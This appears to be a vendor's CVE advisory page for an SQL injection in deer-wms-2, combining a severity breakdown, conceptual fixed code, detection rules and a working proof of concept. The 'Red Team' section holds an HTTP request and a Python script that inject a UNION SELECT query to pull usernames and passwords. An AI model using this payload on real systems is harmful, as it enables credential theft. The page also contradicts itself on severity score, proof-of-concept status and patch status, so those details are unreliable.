☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-74
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-8123

CVE-2025-8123 SQL Injection in Deerwms
📅 PUBLISHED: 2025-07-24 21:02 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.43%
👁️
0.43% probability
10.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-8123 is a critical SQL injection vulnerability discovered in the deerwms deer-wms-2 application, affecting versions up to and including 3.3. The vulnerability resides in the /system/dept/edit endpoint, where the ancestors argument is improperly sanitized before being used in a SQL query. This allows an authenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or deletion. The exploit has been publicly disclosed, increasing the risk of active exploitation. The CVSS score of 6.3 reflects the high impact on confidentiality, with lower impacts on integrity and availability.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the deer-wms-2 software. Organizations using this software should prioritize patching.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.3 (Medium)
  • Attack Vector (AV): Network (N) - The attack can be launched remotely.
  • Attack Complexity (AC): Low (L) - No special conditions are required.
  • Privileges Required (PR): Low (L) - The attacker needs valid credentials to access the vulnerable endpoint.
  • User Interaction (UI): None (N) - No user action is required.
  • Scope (S): Unchanged (U) - The vulnerability does not affect other components.
  • Confidentiality (C): High (H) - Successful exploitation can lead to full database disclosure.
  • Integrity (I): Low (L) - Limited ability to modify data.
  • Availability (A): Low (L) - Potential for denial of service through database corruption.

Threat Level: High. The public availability of exploit details and the low complexity of the attack make this a significant threat to unpatched systems.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection flaw in the /system/dept/edit endpoint. The application likely constructs a SQL query by directly concatenating the user-supplied ancestors parameter without proper sanitization or parameterized queries.

Vulnerable Code Flow:

  1. An authenticated user sends a POST request to /system/dept/edit with the ancestors parameter.
  2. The application takes the value of ancestors and inserts it into a SQL query, e.g., UPDATE dept SET ancestors = 'user_input' WHERE id = ?.
  3. An attacker can inject SQL commands by providing a malicious value for ancestors, such as ' OR 1=1 -- -.

Impact:

  • Data Exfiltration: The attacker can use UNION-based SQL injection to extract sensitive data from other tables.
  • Data Manipulation: The attacker can modify or delete records in the database.
  • Privilege Escalation: If the database user has sufficient privileges, the attacker may be able to execute operating system commands.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

String query = "UPDATE dept SET ancestors = '" + request.getParameter("ancestors") + "' WHERE id = " + request.getParameter("id");
statement.executeUpdate(query);

Patched Code (Conceptual):

String query = "UPDATE dept SET ancestors = ? WHERE id = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, request.getParameter("ancestors"));
pstmt.setInt(2, Integer.parseInt(request.getParameter("id")));
pstmt.executeUpdate();

The patched version uses parameterized queries (PreparedStatement) to ensure user input is treated as data, not executable code.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Valid credentials for the deer-wms-2 application.
  • Network access to the vulnerable endpoint.

Exploit Steps:

  1. Authenticate to the application and obtain a valid session cookie.
  2. Send a crafted POST request to /system/dept/edit with a malicious ancestors parameter.

Example Request:

POST /system/dept/edit HTTP/1.1
Host: target.com
Cookie: JSESSIONID=valid_session_id
Content-Type: application/x-www-form-urlencoded

id=1&ancestors=' UNION SELECT username, password FROM users -- -

Proof of Concept (Python):

import requests

url = "http://target.com/system/dept/edit"
cookies = {"JSESSIONID": "valid_session_id"}
data = {"id": "1", "ancestors": "' UNION SELECT username, password FROM users -- -"}
response = requests.post(url, cookies=cookies, data=data)
print(response.text)

Blue Team (Detection & Response)

Detection:

  • Monitor for SQL injection patterns in HTTP requests to /system/dept/edit.
  • Look for unusual characters in the ancestors parameter, such as single quotes ('), double dashes (--), or UNION keywords.
  • Alert on any database errors returned to the user.

Response:

  1. Immediately isolate the affected server.
  2. Review database logs for unauthorized queries.
  3. Apply the vendor patch or implement a WAF rule to block malicious input.
  4. Rotate all database credentials and review user accounts for signs of compromise.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST requests to /system/dept/edit containing SQL injection patterns.
    • Unusual database error messages in HTTP responses.
  • File IOCs:
    • Modified or new files in the application directory (e.g., web shells).
  • Log IOCs:
    • Database logs showing unexpected UNION, OR, or -- statements.
    • Application logs showing failed SQL queries.

Detection Engineering

YARA Rule

rule CVE_2025_8123_SQLi_DeptEdit {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-8123 in deer-wms-2"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8123"
    strings:
        $s1 = "/system/dept/edit" ascii wide nocase
        $s2 = "ancestors=" ascii wide nocase
        $sqli1 = /'(\s|%20)*OR(\s|%20)*/i
        $sqli2 = /'(\s|%20)*UNION(\s|%20)*/i
        $sqli3 = /--(\s|%20)*/i
    condition:
        $s1 and $s2 and ($sqli1 or $sqli2 or $sqli3)
}

Sigma Rule

title: CVE-2025-8123 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against the /system/dept/edit endpoint in deer-wms-2
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/system/dept/edit'
        cs-uri-query|contains: 'ancestors='
    keywords:
        - "' OR "
        - "' UNION "
        - "' -- "
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in department names (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-8123 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/system/dept/edit"; http_uri; content:"ancestors="; http_client_body; pcre:"/(\x27.*OR.*\x27|\x27.*UNION.*\x27|\x27.*--)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Apply the Patch: Upgrade deer-wms-2 to the latest patched version provided by the vendor.
  2. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing SQL injection patterns in the ancestors parameter.
  3. Input Validation: Implement strict input validation on the server side to reject any input containing SQL metacharacters.

Long-Term Measures:

  1. Code Review: Conduct a thorough code review of all database interactions to ensure parameterized queries are used.
  2. Security Training: Train developers on secure coding practices, particularly regarding SQL injection prevention.
  3. Regular Penetration Testing: Schedule regular security assessments to identify and remediate vulnerabilities.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-8123/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.